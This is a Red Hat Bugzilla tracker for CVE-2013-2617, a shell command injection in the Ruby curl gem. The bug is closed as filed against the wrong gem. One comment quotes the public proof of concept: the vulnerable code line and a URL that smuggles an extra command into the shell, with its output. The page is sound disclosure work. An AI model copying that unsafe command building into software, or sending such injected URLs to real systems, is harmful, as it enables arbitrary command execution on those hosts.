Bugzilla will be upgraded to version 5.0 on a still to be determined date in the near future. The original upgrade date has been delayed.
Bug 924240 - (CVE-2013-2617) CVE-2013-2617 rubygem-curl: insufficient URL escaping command injection
CVE-2013-2617 rubygem-curl: insufficient URL escaping command injection
Status: CLOSED NOTABUG
Product: Security Response
Classification: Other
Component: vulnerability (Show other bugs)
unspecified
All Linux
urgent Severity urgent
: ---
: ---
Assigned To: Red Hat Product Security
impact=critical,public=20130312,repor...
: Security
Depends On: 924242
Blocks: 924252
  Show dependency treegraph
 
Reported: 2013-03-21 08:31 EDT by Jan Lieskovsky
Modified: 2015-07-31 03:02 EDT (History)
8 users (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2013-03-21 09:55:12 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---


Attachments (Terms of Use)

  None (edit)
Description Jan Lieskovsky 2013-03-21 08:31:41 EDT
Common Vulnerabilities and Exposures assigned an identifier CVE-2013-2617 to the following vulnerability:

lib/curl.rb in the Curl Gem for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a URL.

References:
[1] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2617
[2] http://seclists.org/fulldisclosure/2013/Mar/124
[3] http://www.openwall.com/lists/oss-security/2013/03/19/9
[4] http://packetstormsecurity.com/files/120778/Ruby-Gem-Curl-Command-Execution.html
[5] http://www.osvdb.org/91230
Comment 1 Jan Lieskovsky 2013-03-21 08:35:34 EDT
Copy of public reproducer (from [4]):
-------------------------------------

Curl Ruby Gem Remote command execution
3/12/2013

https://github.com/tg0/curl

Specially crafted URLs can result in remote code execution:

In ./lib/curl.rb the following lines:

131       cmd = "curl #{cookies_store} #{browser_type} #{@setup_params} {ref}  \"{url}\"  "
132         if @debug
133                 puts cmd.red
134         end
135         result = open_pipe(cmd)

PoC:

page = curl.get("http://vapid.dhs.org/\"\;id\/tmp\/p\;\"")

larry@underfl0w:/tmp$ cat p
uid=0(root) gid=0(root) groups=0(root)

Larry W. Cashdollar
@_larry0
http://vapid.dhs.org
Comment 2 Jan Lieskovsky 2013-03-21 08:36:52 EDT
Created rubygem-curb tracking bugs for this issue

Affects: fedora-all [bug 924242]
Comment 3 Jan Lieskovsky 2013-03-21 08:38:03 EDT
(In reply to comment #2)
> Created rubygem-curb tracking bugs for this issue
> 
> Affects: fedora-all [bug 924242]

I am not sure there's an upstream patch for this issue yet (wasn't able to find one from git log). But once there is, please be sure to schedule Fedora rubygem-curb package updates.
Comment 5 Vít Ondruch 2013-03-21 09:12:48 EDT
curl and curb are two different gems. The bug refers to curl gem while this bug is assosicated to rubygem-curb, which seems to be mistake.
Comment 6 Jan Lieskovsky 2013-03-21 09:38:46 EDT
(In reply to comment #5)
> curl and curb are two different gems. The bug refers to curl gem while this
> bug is assosicated to rubygem-curb, which seems to be mistake.

This is truly correct (those are different ones):
  [1] https://rubygems.org/gems/curl (the Gem flaw was in)
  [2] https://rubygems.org/gems/curb (this bug is targeted against)

Thank you for pointing out, Vit
(closing bug as invalid && apologize for the noise).

Note You need to log in before you can comment on or make changes to this bug.